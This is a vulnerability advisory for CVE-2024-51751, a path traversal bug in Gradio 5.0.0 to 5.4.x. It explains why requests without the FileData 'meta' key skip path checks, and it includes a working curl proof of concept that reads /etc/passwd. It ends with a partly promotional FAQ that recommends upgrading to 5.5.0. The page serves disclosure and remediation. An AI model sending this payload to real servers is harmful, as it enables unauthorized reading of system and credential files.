CVE-2024-51751

If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.

Details

Consider the following application where a user can upload a file and preview its content:

import gradio as gr

def greet(value: bytes):
    return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")

if __name__ == "__main__":
    demo.launch()

If we run this application and make the following request (which attempts to read the /etc/passwd file)

curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'

Then this results in the following error on the server

gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user.

This is expected. However, if we now remove the "meta":{"_type":"gradio.FileData"} from the request:

curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'

This doesn't cause an error and results in the content of /etc/passwd being shown in the response!

This works because Gradio relies on the processing_utils.async_move_files_to_cache to sanitize all incoming file paths in all inputs. This function performs the following operation

    return await client_utils.async_traverse(
        data, _move_to_cache, client_utils.is_file_obj_with_meta
    )

where client_utils.is_file_obj_with_meta is used as a filter which tells on which inputs to perform the _move_to_cache function (which also performs the allowed/disallowed check on the file path). The problem is that client_utils.is_file_obj_with_meta is not guaranteed to trigger for every input that contains a file path:

def is_file_obj_with_meta(d) -> bool:
    """
    Check if the given value is a valid FileData object dictionary in newer versions of Gradio
    where the file objects include a specific "meta" key, e.g.
    {
        "path": "path/to/file",
        "meta": {"_type: "gradio.FileData"}
    }
    """
    return (
        isinstance(d, dict)
        and "path" in d
        and isinstance(d["path"], str)
        and "meta" in d
        and d["meta"].get("_type", "") == "gradio.FileData"
    )

For example, as in the PoC, the file path won't be checked if the meta key is not present in the request or if _type is not gradio.FileData.

Then, the path remains under control of the attacker and is used to read a file in _process_single_file function in file.py and upload_button.py (and possibly other places)

PoC

As described above, run the following Gradio app

import gradio as gr

def greet(value: bytes):
    return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")

if __name__ == "__main__":
    demo.launch()

And make the following request

curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'

Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

1. What is CVE-2024-51751? CVE-2024-51751 is a medium-severity path traversal vulnerability in gradio (pip), affecting versions >= 5.0.0, < 5.5.0. It is fixed in 5.5.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of gradio are affected by CVE-2024-51751? gradio (pip) versions >= 5.0.0, < 5.5.0 is affected.
3. Is there a fix for CVE-2024-51751? Yes. CVE-2024-51751 is fixed in 5.5.0. Upgrade to this version or later.
4. Is CVE-2024-51751 exploitable, and should I be worried? Whether CVE-2024-51751 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2024-51751 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2024-51751? Upgrade gradio to 5.5.0 or later.